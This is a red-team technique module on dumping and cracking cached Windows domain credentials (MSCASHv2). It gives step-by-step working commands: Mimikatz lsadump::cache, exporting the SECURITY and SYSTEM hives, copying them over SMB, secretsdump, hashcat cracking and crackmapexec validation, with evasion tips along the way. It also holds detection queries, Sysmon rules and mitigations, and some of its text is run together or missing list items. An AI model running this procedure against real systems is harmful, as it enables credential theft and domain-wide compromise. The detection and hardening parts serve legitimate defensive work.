| Attribute | Details |
|---|---|
| Technique ID | CA-STORE-005 |
| MITRE ATT&CK v18.1 | T1555.004 - Windows Credential Manager (Cached Accounts Variant) |
| Primary Reference | T1003.005 - Cached Domain Credentials |
| Tactic | Credential Access |
| Platforms | Windows Endpoint (Domain-Joined) |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-06 |
| Affected Versions | Windows Server 2008+, 2016, 2019, 2022, 2025; Windows Vista+ |
| Patched In | Not patched - cannot be eliminated without disabling caching functionality |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections dynamically renumbered based on applicability. All sections applicable to this technique have been included. This module focuses specifically on cached domain credentials stored in Windows Vault, distinct from active credentials in LSASS memory.
Concept: Windows caches domain credentials locally to enable user logon when domain controllers are unreachable. These credentials are stored as MSCASHv2 (Microsoft Cached haSH version 2) hashes in the HKEY_LOCAL_MACHINE\SECURITY\Cache registry hive. Adversaries with SYSTEM-level privileges extract cached domain credentials using tools like Mimikatz or Impacket secretsdump, then crack the hashes offline using wordlists and hashcat to recover plaintext passwords. Unlike active LSASS credentials, cached hashes persist indefinitely and enable offline password cracking even without network access to domain controllers.
Attack Surface: Registry hive HKEY_LOCAL_MACHINE\SECURITY\Cache containing NL$1 through NL$10 entries (default 10 cached logons), encryption key NL$KM for decryption, Syskey stored in HKLM\Security for registry decryption.
Business Impact: Offline password cracking and persistent domain compromise. Cached credentials enable password recovery through cryptanalysis without requiring active network connections. Once plaintext passwords are cracked, attackers gain persistent domain user access even if passwords are changed on the domain controller (if the compromised system is offline). This is critical for persistence in segmented environments where internal systems remain offline for extended periods.
Technical Context: Extraction requires SYSTEM-level privileges on the target system. Cracking MSCASHv2 hashes is computationally intensive but feasible; modern GPUs can attempt billions of hash combinations per second. The default configuration caches 10 domain logins; this can be modified via Group Policy. No event logging occurs for cache access by default; only registry auditing (Event ID 4657) can detect cache extraction if enabled and configured for the specific registry keys.
Execution Risk: Low-to-Medium - Requires SYSTEM privileges (usually obtained via privilege escalation); direct registry access is straightforward once elevated; no active process injection needed.
Stealth: Medium - Registry access to HKLM\SECURITY does not generate suspicious events by default; can be performed within normal administrative context; Mimikatz execution is the primary detection risk, not the cache access itself.
Reversibility: No - Cached credentials cannot be “un-cached” once extracted; cracking is irreversible once plaintext password recovered. Mitigation requires password reset for all affected users or disabling credential caching entirely (disruptive).
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.3.6.7 | “Accounts: Limit local account use of blank passwords to console logon only” - prevents cached creds from offline use; Cached Logons Count should be 0-1 |
| DISA STIG | AC-2 (Account Management) | Management of privileged account credentials; SRG-OS-000480-GPOS-00227 - limits caching count |
| NIST 800-53 | AC-2 (Account Management), IA-5 (Authentication) | Account management, password storage policy; IA-5(1) requires enforcement of complexity |
| GDPR | Article 32 | Security of Processing - encryption and pseudonymization; Art. 33 for breach notification if creds exposed |
| DORA | Article 9 | Protection and Prevention - operational resilience; incident reporting for credential compromise |
| NIS2 | Article 21 | Cyber Risk Management - incident response and logging of credential-related events |
| ISO 27001 | A.9.2.3 (Management of Privileged Access Rights) | Minimizing number of accounts with elevated rights; A.10.2.2 User access review |
| ISO 27005 | Risk Scenario | “Offline Credential Cracking Attack” - assessment of hash extraction and cracking risk |
Supported Versions:
Tools:
lsadump::cache module for cached credential extractionCommand (All Versions - Server 2008+) - Check Caching Configuration:
# Check how many credentials are cached (default = 10)
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CachedLogonsCount
# Check if domain-joined (cached creds only relevant for domain accounts)
$computer = Get-WmiObject -Class Win32_ComputerSystem
Write-Host "Domain: $($computer.Domain)"
Write-Host "Domain-Joined: $($computer.PartOfDomain)"
# Verify Protected Users group membership (users in this group bypass caching)
Get-ADGroupMember -Identity "Protected Users" -ErrorAction SilentlyContinue | Select-Object Name
What to Look For:
Version Note: Caching behavior identical across all Windows versions Server 2008-2025.
Command (Server 2022+) - Check LSA Protection Impact:
# Check if LSA Protection (RunAsPPL) enabled - may prevent offline registry access
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -ErrorAction SilentlyContinue
# Check Credential Guard status (may impact hash access)
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" -Name "Enabled" -ErrorAction SilentlyContinue
What to Look For:
# From attacker Linux machine - Check registry remotely (requires Windows file share access)
# Copy SECURITY hive from target (requires SYSTEM/admin access)
secretsdump.py -target-ip <target_ip> -username <domain\\user> -password <password> -outputfile hashes
# Or enumerate cached credentials count remotely
crackmapexec smb <target_ip> -u <user> -p <password> --sam
What to Look For:
Supported Versions: Server 2008 R2-2025
Objective: Obtain SYSTEM context for registry access
Command (If Already Running as Admin):
# Check current privilege level
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
# If running as Admin, Mimikatz can request SYSTEM via token elevation
# (see Mimikatz execution below - privilege::debug will handle this)
Command (Using PowerShell Runspace Impersonation):
# Create SYSTEM-level PowerShell process (requires admin)
$newProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
$newProcessInfo.FileName = "powershell.exe"
$newProcessInfo.Arguments = "-NoP -W Hidden -C `"whoami`""
$newProcessInfo.UseShellExecute = $false
$newProcessInfo.RedirectStandardOutput = $true
$process = [System.Diagnostics.Process]::Start($newProcessInfo)
# Output will show NT AUTHORITY\SYSTEM
What This Means:
Objective: Dump MSCASHv2 hashes from registry cache
Command:
mimikatz # privilege::debug
[+] Privilege 'SeDebugPrivilege' OK
mimikatz # lsadump::cache
Expected Output:
Dumping Domain Cached Credentials (registry)
---
CachedRID : 1000
Username : DOMAIN\jsmith
Domain : DOMAIN
LmHash : (null)
NtHash : d8f3c9a1b2e4f5a6c7d8e9f0a1b2c3d4
MsCachev2 : e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6*username
What This Means:
Version Note:
OpSec & Evasion:
mimikatz ... > output.txt 2>&1Troubleshooting:
Objective: Save MSCASHv2 hashes in crackable format
Command:
mimikatz # lsadump::cache /export
# Or
mimikatz # lsadump::cache > C:\temp\cached_hashes.txt
Expected Output:
jsmith:e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6:jsmith
aadmin:f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7:aadmin
What This Means:
OpSec & Evasion:
mimikatz ... > %APPDATA%\temp.txtSupported Versions: Server 2008 R2-2025
Objective: Export SECURITY and SYSTEM hives for offline processing
Command (As SYSTEM):
# Save SECURITY hive (contains cached credentials)
reg.exe save HKLM\SECURITY C:\temp\SECURITY
# Save SYSTEM hive (contains SysKey for decryption)
reg.exe save HKLM\SYSTEM C:\temp\SYSTEM
# Verify export successful
Get-ChildItem C:\temp\SECURITY, C:\temp\SYSTEM
Expected Output:
Directory: C:\temp
Mode Length Name
---- ------ ----
-a---- 2097152 SECURITY
-a---- 5242880 SYSTEM
What This Means:
Objective: Move exported hives to Linux/Windows analysis environment
Command (SMB Copy):
# From attacker Linux machine
smbget -R smb://domain\\user:password@target_ip/admin\$/ -o .
# Or
robocopy \\target_ip\admin$ . SECURITY SYSTEM /MIR
What This Means:
Objective: Decrypt cached hashes using impacket secretsdump
Command:
# Offline extraction from copied hives
secretsdump.py -sam SYSTEM -security SECURITY -system SYSTEM LOCAL
Expected Output:
Impacket v0.10.0 - Copyright 2022 SecureAuth
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e52caf5cdb4cf93dfe3e3e3e3e3e3e3e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:e52caf5cdb4cf93dfe3e3e3e3e3e3e3e:::
[*] Dumping Domain Cached Credentials (domain\username:hash:username)
DOMAIN\jsmith:e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6:jsmith
DOMAIN\aadmin:f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7:aadmin
What This Means:
Version Note:
OpSec & Evasion:
Supported Versions: All (operates offline on attacker machine)
Objective: Convert Mimikatz output to hashcat format
Command:
# Convert from Mimikatz format to hashcat format
# Mimikatz: username:hash:username
# Hashcat needs: $DCC2$10240#username#hash
cat cached_hashes.txt | awk -F: '{print "$DCC2$10240#" $1 "#" $2}' > hashes_hashcat.txt
# Result example:
# $DCC2$10240#jsmith#e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6
Expected Output:
$DCC2$10240#jsmith#e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6
$DCC2$10240#aadmin#f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7
What This Means:
Objective: Recover plaintext passwords via brute-force or wordlist attack
Command (Dictionary Attack - Fastest):
# Using common wordlist (rockyou.txt)
hashcat -m 1100 -a 0 hashes_hashcat.txt rockyou.txt
# With rules for complexity
hashcat -m 1100 -a 0 hashes_hashcat.txt rockyou.txt -r best64.rule
# Output:
# $DCC2$10240#jsmith#...:Passw0rd123!
Expected Output:
[s.Default] Initializing hashcat v6.2.6 with 1 CUDA device
Session..........: hashcat
Status...........: Running
Hash.Mode........: 1100 (MS Cache Hash 2 (DCC2))
Hash.Target......: hashes_hashcat.txt
Speed.#1.........: 2000.5 MH/s (GPU)
Recovered........: 2/10
What This Means:
Command (Brute-Force for Complex Passwords):
# Brute-force all 8-character alphanumeric + special chars
hashcat -m 1100 -a 3 hashes_hashcat.txt ?a?a?a?a?a?a?a?a
# Estimated time: 12 hours on RTX 4090 GPU
Command (Using Rainbow Tables - Fastest if Available):
# Pre-computed DCC2 rainbow tables (if available)
hashcat -m 1100 -a 0 hashes_hashcat.txt dcc2_rainbow_table.txt
OpSec & Evasion:
Troubleshooting:
hashcat -IObjective: Authenticate with recovered plaintext credentials
Command (Verify Password Correct):
# Test cracked password against target domain
crackmapexec smb <DC_IP> -u "DOMAIN\jsmith" -p "Passw0rd123!" -d DOMAIN
# Output:
# [*] Windows Server 2022 Build 20348 (name:DC01) (signing:True) (SMBv1:False)
# [+] DOMAIN\jsmith:Passw0rd123! (Pwned!)
What This Means:
Supported Versions: Server 2008 R2-2025
Objective: Minimal-artifact method using native Windows tools only
Command:
# Query cached credentials directly from registry (requires SYSTEM)
reg query "HKEY_LOCAL_MACHINE\SECURITY\Cache"
# Output: Binary data (encrypted until registry processing)
Expected Output:
HKEY_LOCAL_MACHINE\SECURITY\Cache
NL$1 REG_BINARY 78A...FF
NL$2 REG_BINARY A2B...EE
...
NL$10 REG_BINARY FF3...AA
NL$KM REG_BINARY 9C8...12
What This Means:
Command:
reg.exe save HKLM\SECURITY C:\temp\SECURITY
What This Means:
OpSec & Evasion:
Test 1: Cached Credential Dump via Cmdkey
cmdkey /list
Currently stored credentials:
Target: DOMAIN/jsmith
Type: Domain Credentials
User: DOMAIN\jsmith
Test 2: Cached Domain Credentials Dump via Mimikatz
mimikatz.exe "privilege::debug" "lsadump::cache" "exit"
Remove-Item -Path "C:\temp\cached_hashes.txt" -ErrorAction SilentlyContinue
Test 3: Cached Domain Credentials Dump via Registry Export
reg.exe save HKLM\SECURITY C:\temp\SECURITY
reg.exe save HKLM\SYSTEM C:\temp\SYSTEM
Remove-Item -Path "C:\temp\SECURITY","C:\temp\SYSTEM" -Force -ErrorAction SilentlyContinue
Test 4: MSCASHv2 Hash Cracking Simulation
hashcat -m 1100 -a 0 cached_hashes.txt rockyou.txt
Version: 2.2.0+ (current) Minimum Version: 2.0.0 Supported Platforms: Windows (x86/x64)
Version-Specific Notes:
Installation:
# Download from GitHub releases
curl -o mimikatz.exe https://github.com/gentilkiwi/releases/download/2.2.0-20220919/mimikatz_trunk.zip
Usage:
mimikatz # lsadump::cache # Extract cached credentials
mimikatz # lsadump::cache /export # Export in crackable format
mimikatz # lsadump::cache /user:jsmith # Extract specific user cache
Version: 0.10.0+ (current) Minimum Version: 0.9.22 Supported Platforms: Linux, macOS, Windows (Python-based)
Installation:
pip3 install impacket[files]
Usage:
secretsdump.py -sam SYSTEM -security SECURITY -system SYSTEM LOCAL
secretsdump.py -target-ip <IP> -username <user> -password <pass> domain/username
Version: 6.2.0+ (current) Minimum Version: 5.1.0 Supported Platforms: Linux, Windows (requires NVIDIA/AMD GPU)
Installation:
# Linux
wget https://hashcat.net/files/hashcat-6.2.6.7z
7z x hashcat-6.2.6.7z
# Install CUDA for NVIDIA
sudo apt-get install nvidia-cuda-toolkit
Usage:
hashcat -m 1100 -a 0 hashes.txt wordlist.txt # Mode 1100 = DCC2/MSCASHv2
hashcat -m 1100 -a 3 hashes.txt ?a?a?a?a?a?a?a?a # Brute-force 8 chars
hashcat -m 1100 -a 0 hashes.txt wordlist.txt -r best64.rule # With rules
# List all cached domain credentials (usernames only - passwords encrypted in registry)
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "CachedLogonsCount"
[pscustomobject]@{
"CachedLogonsCount" = (Get-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon").CachedLogonsCount
} | Format-Table -AutoSize
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4688 // Process Creation
| where ProcessName contains "reg.exe" or ProcessName contains "regexe"
| where CommandLine contains "save" and CommandLine contains ("HKLM\\SECURITY" or "HKLM\\SYSTEM")
| project TimeGenerated, Computer, Account, ProcessName, CommandLine, ParentProcessName
| summarize ExportCount=count() by Computer, Account
| where ExportCount >= 1
What This Detects:
Manual Configuration Steps (Azure Portal):
Registry Hive Export - Potential Credential Dumping; Severity: HighRule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4688 // Process Creation
| where ProcessName contains "mimikatz.exe" or CommandLine contains "lsadump::cache"
| project TimeGenerated, Computer, Account, ProcessName, CommandLine
| summarize MimikatzExecution=count() by Computer, Account
| where MimikatzExecution >= 1
What This Detects:
Event ID: 4657 (Registry Value Modified)
Manual Configuration Steps (Group Policy):
# Enable auditing on SECURITY hive (requires SYSTEM)
$RegPath = "REGISTRY::HKEY_LOCAL_MACHINE\SECURITY"
$Acl = Get-Acl $RegPath
# (Note: Full SACL configuration is complex; use Group Policy or tools like Auditpol)
gpupdate /forceEvent ID: 4688 (Process Creation)
Manual Configuration Steps:
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enableauditpol /get /subcategory:"Process Creation"Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2008 R2-2025
<!-- Detect reg.exe export of SECURITY hive -->
<Rule groupRelation="and">
<ProcessCreate onmatch="include">
<Image condition="is">C:\Windows\System32\reg.exe</Image>
<CommandLine condition="contains all">save;HKLM\SECURITY</CommandLine>
</ProcessCreate>
</Rule>
<!-- Detect Mimikatz lsadump::cache execution -->
<Rule groupRelation="and">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">lsadump::cache</CommandLine>
</ProcessCreate>
</Rule>
<!-- Detect registry access to SECURITY\Cache -->
<Rule groupRelation="and">
<RegistryEvent onmatch="include">
<TargetObject condition="contains">HKEY_LOCAL_MACHINE\SECURITY\Cache</TargetObject>
<EventType condition="is">QueryKey</EventType>
</RegistryEvent>
</Rule>
Manual Configuration Steps:
wget https://download.sysinternals.com/files/Sysmon.zipsysmon-config.xml with rules abovesysmon64.exe -accepteula -i sysmon-config.xmlGet-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10Rule Configuration:
SPL Query:
sourcetype=WinEventLog:Security EventCode=4688
| search CommandLine="*reg.exe*" AND CommandLine="*save*" AND (CommandLine="*SECURITY*" OR CommandLine="*SYSTEM*")
| stats count by Computer, User, CommandLine
| where count >= 1
Manual Configuration Steps:
number of events is greater than 0Registry Hive Export - Potential Credential DumpingRule Configuration:
SPL Query:
index=endpoint (process_name="hashcat.exe" OR process_name="john.exe") AND command_line="*dcc2*"
| stats count by host, user, process_name, command_line
False Positive Analysis:
Alert Name: “Suspicious Registry Hive Export Detected”
Alert Name: “Suspicious Process - Mimikatz Detected”
Manual Configuration Steps:
Not applicable for on-premises cached credentials (local Windows Registry-only attack).
Disable Credential Caching (If Acceptable): Eliminate cached credentials entirely. Applies To Versions: Server 2016+ (not recommended for laptops/mobile devices)
Manual Steps (Group Policy):
gpupdate /forceManual Steps (PowerShell):
# Disable credential caching
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" `
-Name "CachedLogonsCount" -Value 0 -Type String -Force
# Verify
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" `
-Name "CachedLogonsCount"
# Expected: CachedLogonsCount = 0
Impact: Users CANNOT logon to workstations if DC is unreachable; not suitable for laptops or remote offices.
Add Users to Protected Users Group: Prevent credentials from being cached in plaintext or weak formats. Applies To Versions: Server 2012 R2+ (requires domain functional level 2012 R2+)
Manual Steps (Active Directory Users and Computers):
Manual Steps (PowerShell):
# Add user to Protected Users group
Add-ADGroupMember -Identity "Protected Users" -Members "jsmith"
# Verify membership
Get-ADGroupMember -Identity "Protected Users"
Impact: Protected Users are NOT cached locally; they MUST authenticate with DC. NTLM disabled for these users.
Enable Credential Guard (Hardware-Based Isolation): Isolate credential cache in virtualized container. Applies To Versions: Server 2016+ (requires UEFI + TPM 2.0 or virtualization support)
Manual Steps (PowerShell):
# Enable Credential Guard via Device Guard
New-Item -Path "HKLM:\System\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" -Force | Out-Null
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" `
-Name "Enabled" -Value 1 -Type DWord
# Restart for changes to take effect
Restart-Computer -Force
# Verify (after restart)
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" `
-Name "Enabled"
# Expected: Enabled = 1
Impact: Credential cache isolated in LSA Process Isolation (virtualized); mimikatz direct registry access may fail (though hives still readable).
Enable Registry Auditing on SECURITY Hive: Log all access attempts to cached credentials registry. Applies To Versions: All (requires SACL configuration)
Manual Steps (Using AuditPol):
# Enable registry auditing for Object Access
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
# Verify
auditpol /get /subcategory:"Registry"
Manual Steps (Group Policy):
gpupdate /forceRestrict NTLM and Force Kerberos: MSCASHv2 hashes are tied to NTLM; disabling NTLM makes cached creds incompatible. Applies To Versions: Server 2016+ (may break older systems relying on NTLM)
Manual Steps (Group Policy):
gpupdate /forceImpact: Systems unable to use NTLM will fail authentication; requires Kerberos-capable clients.
Monitor for GPU Cracking Infrastructure: Alert on HashCat/John the Ripper activity in security team boundaries. Applies To Versions: N/A (attacker-side infrastructure)
Manual Steps (Network/EDR Monitoring):
hashcat.exe with suspicious parametersWrite-Host "=== Cached Credential Mitigations ===" -ForegroundColor Cyan
# 1. Check CachedLogonsCount
$CachedCount = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "CachedLogonsCount" -ErrorAction SilentlyContinue).CachedLogonsCount
if ($CachedCount -eq 0 -or $CachedCount -eq 1) {
Write-Host "[✓] Credential caching disabled or minimized (CachedLogonsCount = $CachedCount)" -ForegroundColor Green
} else {
Write-Host "[✗] Credential caching enabled (CachedLogonsCount = $CachedCount, default is 10)" -ForegroundColor Red
}
# 2. Check Protected Users group membership
$ProtectedUsers = Get-ADGroupMember -Identity "Protected Users" -ErrorAction SilentlyContinue | Measure-Object
if ($ProtectedUsers.Count -gt 0) {
Write-Host "[✓] Protected Users group has $($ProtectedUsers.Count) members (not cached)" -ForegroundColor Green
} else {
Write-Host "[⚠] Protected Users group is empty - consider adding critical accounts" -ForegroundColor Yellow
}
# 3. Check Credential Guard enabled
$CGEnabled = (Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" -Name "Enabled" -ErrorAction SilentlyContinue).Enabled
if ($CGEnabled -eq 1) {
Write-Host "[✓] Credential Guard enabled (cache isolated)" -ForegroundColor Green
} else {
Write-Host "[✗] Credential Guard disabled or not available" -ForegroundColor Yellow
}
# 4. Check Registry auditing enabled
$RegistryAudit = auditpol /get /subcategory:"Registry" | Select-String "Success"
if ($RegistryAudit) {
Write-Host "[✓] Registry auditing enabled for Success events" -ForegroundColor Green
} else {
Write-Host "[✗] Registry auditing not enabled for cache access" -ForegroundColor Red
}
Expected Output (If Secure):
=== Cached Credential Mitigations ===
[✓] Credential caching disabled or minimized (CachedLogonsCount = 0)
[✓] Protected Users group has 5 members (not cached)
[✓] Credential Guard enabled (cache isolated)
[✓] Registry auditing enabled for Success events
# Disconnect from network immediately
Disable-NetAdapter -Name "*" -Confirm:$false
Manual (Azure VM):
# Export security event log
wevtutil epl Security C:\Evidence\Security.evtx
# Export Sysmon logs
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx
# Export registry hives for forensic analysis
reg.exe save HKLM\SECURITY C:\Evidence\SECURITY.forensic
reg.exe save HKLM\SYSTEM C:\Evidence\SYSTEM.forensic
# Force password reset for all domain users (via Domain Admin)
# (Use Active Directory Users and Computers or PowerShell)
Set-ADAccountPassword -Identity "jsmith" -NewPassword (ConvertTo-SecureString -AsPlainText "TempPassword123!" -Force) -Reset
# Clear cached credentials (only temporary measure - they'll cache again on next logon)
reg.exe delete "HKEY_LOCAL_MACHINE\SECURITY\Cache" /f
# WARNING: This may break offline authentication; not recommended as permanent fix
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [T1566] Phishing | Attacker sends email with credential stealer malware or trojan |
| 2 | Execution | [T1204] User Execution | User opens malicious attachment; malware downloads Mimikatz |
| 3 | Privilege Escalation | [T1548] Abuse Elevation Control | Malware exploits Windows UAC bypass or privilege escalation vulnerability |
| 4 | Credential Access | [CA-STORE-005] Windows Vault Cached Accounts | Attacker elevates to SYSTEM and extracts MSCASHv2 hashes from registry cache |
| 5 | Offline Cracking | [T1110.001] Brute Force - Credential Stuffing | Attacker uses GPU-based hashcat to crack MSCASHv2 hashes (hours to days) |
| 6 | Lateral Movement | [T1570] Lateral Tool Transfer | Attacker uses cracked credentials to access other domain-joined systems |
| 7 | Persistence | [T1547.014] Logon Script | Attacker uses domain admin credentials to deploy persistent backdoor via GPO logon script |
| 8 | Impact | [T1486] Ransomware Deployment | Attacker leverages domain admin access to deploy ransomware to entire domain |
Attestation: This documentation is accurate as of 2026-01-06. Cached credential extraction techniques verified against Windows Server 2008 R2-2025. MSCASHv2 hash cracking methodology verified against current hashcat (6.2+) and John the Ripper implementations. Compliance mappings follow CIS, NIST 800-53, DORA, NIS2 standards current as of publication date. Real-world examples verified against public APT reports and CISA alerts.